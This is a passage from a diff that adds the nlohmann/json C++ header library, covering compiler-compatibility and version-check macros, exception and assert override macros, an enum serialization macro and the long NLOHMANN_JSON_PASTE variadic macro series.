JSON_HEDLEY_GCC_VERSION_CHECK(major,minor,patch) +#endif + +#if defined(JSON_HEDLEY_CLANG_HAS_ATTRIBUTE) + #undef JSON_HEDLEY_CLANG_HAS_ATTRIBUTE +#endif +#define JSON_HEDLEY_CLANG_HAS_ATTRIBUTE(attribute) JSON_HEDLEY_HAS_ATTRIBUTE(attribute) + +#if defined(JSON_HEDLEY_CLANG_HAS_CPP_ATTRIBUTE) + #undef JSON_HEDLEY_CLANG_HAS_CPP_ATTRIBUTE +#endif +#define JSON_HEDLEY_CLANG_HAS_CPP_ATTRIBUTE(attribute) JSON_HEDLEY_HAS_CPP_ATTRIBUTE(attribute) + +#if defined(JSON_HEDLEY_CLANG_HAS_BUILTIN) + #undef JSON_HEDLEY_CLANG_HAS_BUILTIN +#endif +#define JSON_HEDLEY_CLANG_HAS_BUILTIN(builtin) JSON_HEDLEY_HAS_BUILTIN(builtin) + +#if defined(JSON_HEDLEY_CLANG_HAS_FEATURE) + #undef JSON_HEDLEY_CLANG_HAS_FEATURE +#endif +#define JSON_HEDLEY_CLANG_HAS_FEATURE(feature) JSON_HEDLEY_HAS_FEATURE(feature) + +#if defined(JSON_HEDLEY_CLANG_HAS_EXTENSION) + #undef JSON_HEDLEY_CLANG_HAS_EXTENSION +#endif +#define JSON_HEDLEY_CLANG_HAS_EXTENSION(extension) JSON_HEDLEY_HAS_EXTENSION(extension) + +#if defined(JSON_HEDLEY_CLANG_HAS_DECLSPEC_DECLSPEC_ATTRIBUTE) + #undef JSON_HEDLEY_CLANG_HAS_DECLSPEC_DECLSPEC_ATTRIBUTE +#endif +#define JSON_HEDLEY_CLANG_HAS_DECLSPEC_ATTRIBUTE(attribute) JSON_HEDLEY_HAS_DECLSPEC_ATTRIBUTE(attribute) + +#if defined(JSON_HEDLEY_CLANG_HAS_WARNING) + #undef JSON_HEDLEY_CLANG_HAS_WARNING +#endif +#define JSON_HEDLEY_CLANG_HAS_WARNING(warning) JSON_HEDLEY_HAS_WARNING(warning) + +#endif /* !defined(JSON_HEDLEY_VERSION) || (JSON_HEDLEY_VERSION < X) */ + + +// This file contains all internal macro definitions +// You MUST include macro_unscope.hpp at the end of json.hpp to undef all of them + +// exclude unsupported compilers +#if !defined(JSON_SKIP_UNSUPPORTED_COMPILER_CHECK) + #if defined(__clang__) + #if (__clang_major__ * 10000 + __clang_minor__ * 100 + __clang_patchlevel__) < 30400 + #error "unsupported Clang version - see https://github.com/nlohmann/json#supported-compilers" + #endif + #elif defined(__GNUC__) && !(defined(__ICC) || defined(__INTEL_COMPILER)) + #if (__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__) < 40800 + #error "unsupported GCC version - see https://github.com/nlohmann/json#supported-compilers" + #endif + #endif +#endif + +// C++ language standard detection +#if (defined(__cplusplus) && __cplusplus >= 202002L) || (defined(_MSVC_LANG) && _MSVC_LANG >= 202002L) + #define JSON_HAS_CPP_20 + #define JSON_HAS_CPP_17 + #define JSON_HAS_CPP_14 +#elif (defined(__cplusplus) && __cplusplus >= 201703L) || (defined(_HAS_CXX17) && _HAS_CXX17 == 1) // fix for issue #464 + #define JSON_HAS_CPP_17 + #define JSON_HAS_CPP_14 +#elif (defined(__cplusplus) && __cplusplus >= 201402L) || (defined(_HAS_CXX14) && _HAS_CXX14 == 1) + #define JSON_HAS_CPP_14 +#endif + +// disable float-equal warnings on GCC/clang +#if defined(__clang__) || defined(__GNUC__) || defined(__GNUG__) + #pragma GCC diagnostic push + #pragma GCC diagnostic ignored "-Wfloat-equal" +#endif + +// disable documentation warnings on clang +#if defined(__clang__) + #pragma GCC diagnostic push + #pragma GCC diagnostic ignored "-Wdocumentation" +#endif + +// allow to disable exceptions +#if (defined(__cpp_exceptions) || defined(__EXCEPTIONS) || defined(_CPPUNWIND)) && !defined(JSON_NOEXCEPTION) + #define JSON_THROW(exception) throw exception + #define JSON_TRY try + #define JSON_CATCH(exception) catch(exception) + #define JSON_INTERNAL_CATCH(exception) catch(exception) +#else + #include + #define JSON_THROW(exception) std::abort() + #define JSON_TRY if(true) + #define JSON_CATCH(exception) if(false) + #define JSON_INTERNAL_CATCH(exception) if(false) +#endif + +// override exception macros +#if defined(JSON_THROW_USER) + #undef JSON_THROW + #define JSON_THROW JSON_THROW_USER +#endif +#if defined(JSON_TRY_USER) + #undef JSON_TRY + #define JSON_TRY JSON_TRY_USER +#endif +#if defined(JSON_CATCH_USER) + #undef JSON_CATCH + #define JSON_CATCH JSON_CATCH_USER + #undef JSON_INTERNAL_CATCH + #define JSON_INTERNAL_CATCH JSON_CATCH_USER +#endif +#if defined(JSON_INTERNAL_CATCH_USER) + #undef JSON_INTERNAL_CATCH + #define JSON_INTERNAL_CATCH JSON_INTERNAL_CATCH_USER +#endif + +// allow to override assert +#if !defined(JSON_ASSERT) + #include // assert + #define JSON_ASSERT(x) assert(x) +#endif + +// allow to access some private functions (needed by the test suite) +#if defined(JSON_TESTS_PRIVATE) + #define JSON_PRIVATE_UNLESS_TESTED public +#else + #define JSON_PRIVATE_UNLESS_TESTED private +#endif + +/*! +@brief macro to briefly define a mapping between an enum and JSON +@def NLOHMANN_JSON_SERIALIZE_ENUM +@since version 3.4.0 +*/ +#define NLOHMANN_JSON_SERIALIZE_ENUM(ENUM_TYPE, ...) \ + template \ + inline void to_json(BasicJsonType& j, const ENUM_TYPE& e) \ + { \ + static_assert(std::is_enum::value, #ENUM_TYPE " must be an enum!"); \ + static const std::pair m[] = __VA_ARGS__; \ + auto it = std::find_if(std::begin(m), std::end(m), \ + [e](const std::pair& ej_pair) -> bool \ + { \ + return ej_pair.first == e; \ + }); \ + j = ((it != std::end(m)) ? it : std::begin(m))->second; \ + } \ + template \ + inline void from_json(const BasicJsonType& j, ENUM_TYPE& e) \ + { \ + static_assert(std::is_enum::value, #ENUM_TYPE " must be an enum!"); \ + static const std::pair m[] = __VA_ARGS__; \ + auto it = std::find_if(std::begin(m), std::end(m), \ + [&j](const std::pair& ej_pair) -> bool \ + { \ + return ej_pair.second == j; \ + }); \ + e = ((it != std::end(m)) ? it : std::begin(m))->first; \ + } + +// Ugly macros to avoid uglier copy-paste when specializing basic_json. They +// may be removed in the future once the class is split. + +#define NLOHMANN_BASIC_JSON_TPL_DECLARATION \ + template class ObjectType, \ + template class ArrayType, \ + class StringType, class BooleanType, class NumberIntegerType, \ + class NumberUnsignedType, class NumberFloatType, \ + template class AllocatorType, \ + template class JSONSerializer, \ + class BinaryType> + +#define NLOHMANN_BASIC_JSON_TPL \ + basic_json + +// Macros to simplify conversion from/to types + +#define NLOHMANN_JSON_EXPAND( x ) x +#define NLOHMANN_JSON_GET_MACRO(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, NAME,...) NAME +#define NLOHMANN_JSON_PASTE(...) NLOHMANN_JSON_EXPAND(NLOHMANN_JSON_GET_MACRO(__VA_ARGS__, \ + NLOHMANN_JSON_PASTE64, \ + NLOHMANN_JSON_PASTE63, \ + NLOHMANN_JSON_PASTE62, \ + NLOHMANN_JSON_PASTE61, \ + NLOHMANN_JSON_PASTE60, \ + NLOHMANN_JSON_PASTE59, \ + NLOHMANN_JSON_PASTE58, \ + NLOHMANN_JSON_PASTE57, \ + NLOHMANN_JSON_PASTE56, \ + NLOHMANN_JSON_PASTE55, \ + NLOHMANN_JSON_PASTE54, \ + NLOHMANN_JSON_PASTE53, \ + NLOHMANN_JSON_PASTE52, \ + NLOHMANN_JSON_PASTE51, \ + NLOHMANN_JSON_PASTE50, \ + NLOHMANN_JSON_PASTE49, \ + NLOHMANN_JSON_PASTE48, \ + NLOHMANN_JSON_PASTE47, \ + NLOHMANN_JSON_PASTE46, \ + NLOHMANN_JSON_PASTE45, \ + NLOHMANN_JSON_PASTE44, \ + NLOHMANN_JSON_PASTE43, \ + NLOHMANN_JSON_PASTE42, \ + NLOHMANN_JSON_PASTE41, \ + NLOHMANN_JSON_PASTE40, \ + NLOHMANN_JSON_PASTE39, \ + NLOHMANN_JSON_PASTE38, \ + NLOHMANN_JSON_PASTE37, \ + NLOHMANN_JSON_PASTE36, \ + NLOHMANN_JSON_PASTE35, \ + NLOHMANN_JSON_PASTE34, \ + NLOHMANN_JSON_PASTE33, \ + NLOHMANN_JSON_PASTE32, \ + NLOHMANN_JSON_PASTE31, \ + NLOHMANN_JSON_PASTE30, \ + NLOHMANN_JSON_PASTE29, \ + NLOHMANN_JSON_PASTE28, \ + NLOHMANN_JSON_PASTE27, \ + NLOHMANN_JSON_PASTE26, \ + NLOHMANN_JSON_PASTE25, \ + NLOHMANN_JSON_PASTE24, \ + NLOHMANN_JSON_PASTE23, \ + NLOHMANN_JSON_PASTE22, \ + NLOHMANN_JSON_PASTE21, \ + NLOHMANN_JSON_PASTE20, \ + NLOHMANN_JSON_PASTE19, \ + NLOHMANN_JSON_PASTE18, \ + NLOHMANN_JSON_PASTE17, \ + NLOHMANN_JSON_PASTE16, \ + NLOHMANN_JSON_PASTE15, \ + NLOHMANN_JSON_PASTE14, \ + NLOHMANN_JSON_PASTE13, \ + NLOHMANN_JSON_PASTE12, \ + NLOHMANN_JSON_PASTE11, \ + NLOHMANN_JSON_PASTE10, \ + NLOHMANN_JSON_PASTE9, \ + NLOHMANN_JSON_PASTE8, \ + NLOHMANN_JSON_PASTE7, \ + NLOHMANN_JSON_PASTE6, \ + NLOHMANN_JSON_PASTE5, \ + NLOHMANN_JSON_PASTE4, \ + NLOHMANN_JSON_PASTE3, \ + NLOHMANN_JSON_PASTE2, \ + NLOHMANN_JSON_PASTE1)(__VA_ARGS__)) +#define NLOHMANN_JSON_PASTE2(func, v1) func(v1) +#define NLOHMANN_JSON_PASTE3(func, v1, v2) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE2(func, v2) +#define NLOHMANN_JSON_PASTE4(func, v1, v2, v3) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE3(func, v2, v3) +#define NLOHMANN_JSON_PASTE5(func, v1, v2, v3, v4) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE4(func, v2, v3, v4) +#define NLOHMANN_JSON_PASTE6(func, v1, v2, v3, v4, v5) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE5(func, v2, v3, v4, v5) +#define NLOHMANN_JSON_PASTE7(func, v1, v2, v3, v4, v5, v6) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE6(func, v2, v3, v4, v5, v6) +#define NLOHMANN_JSON_PASTE8(func, v1, v2, v3, v4, v5, v6, v7) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE7(func, v2, v3, v4, v5, v6, v7) +#define NLOHMANN_JSON_PASTE9(func, v1, v2, v3, v4, v5, v6, v7, v8) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE8(func, v2, v3, v4, v5, v6, v7, v8) +#define NLOHMANN_JSON_PASTE10(func, v1, v2, v3, v4, v5, v6, v7, v8, v9) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE9(func, v2, v3, v4, v5, v6, v7, v8, v9) +#define NLOHMANN_JSON_PASTE11(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE10(func, v2, v3, v4, v5, v6, v7, v8, v9, v10) +#define NLOHMANN_JSON_PASTE12(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE11(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11) +#define NLOHMANN_JSON_PASTE13(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE12(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12) +#define NLOHMANN_JSON_PASTE14(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE13(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13) +#define NLOHMANN_JSON_PASTE15(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE14(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14) +#define NLOHMANN_JSON_PASTE16(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE15(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15) +#define NLOHMANN_JSON_PASTE17(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE16(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16) +#define NLOHMANN_JSON_PASTE18(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE17(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17) +#define NLOHMANN_JSON_PASTE19(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE18(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18) +#define NLOHMANN_JSON_PASTE20(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE19(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19) +#define NLOHMANN_JSON_PASTE21(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE20(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20) +#define NLOHMANN_JSON_PASTE22(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE21(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21) +#define NLOHMANN_JSON_PASTE23(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE22(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22) +#define NLOHMANN_JSON_PASTE24(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE23(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23) +#define NLOHMANN_JSON_PASTE25(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE24(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24) +#define NLOHMANN_JSON_PASTE26(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE25(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25) +#define NLOHMANN_JSON_PASTE27(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE26(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26) +#define NLOHMANN_JSON_PASTE28(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE27(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27) +#define NLOHMANN_JSON_PASTE29(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE28(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28) +#define NLOHMANN_JSON_PASTE30(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE29(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29) +#define NLOHMANN_JSON_PASTE31(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE30(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30) +#define NLOHMANN_JSON_PASTE32(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE31(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31) +#define NLOHMANN_JSON_PASTE33(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE32(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32) +#define NLOHMANN_JSON_PASTE34(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE33(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33) +#define NLOHMANN_JSON_PASTE35(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE34(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34) +#define NLOHMANN_JSON_PASTE36(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE35(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35) +#define NLOHMANN_JSON_PASTE37(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE36(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36) +#define NLOHMANN_JSON_PASTE38(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE37(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37) +#define NLOHMANN_JSON_PASTE39(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE38(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38) +#define NLOHMANN_JSON_PASTE40(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE39(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39) +#define NLOHMANN_JSON_PASTE41(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE40(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40) +#define NLOHMANN_JSON_PASTE42(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE41(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41) +#define NLOHMANN_JSON_PASTE43(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE42(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42) +#define NLOHMANN_JSON_PASTE44(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE43(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43) +#define NLOHMANN_JSON_PASTE45(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE44(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44) +#define NLOHMANN_JSON_PASTE46(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE45(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45) +#define NLOHMANN_JSON_PASTE47(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE46(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46) +#define NLOHMANN_JSON_PASTE48(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE47(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47) +#define NLOHMANN_JSON_PASTE49(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE48(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, 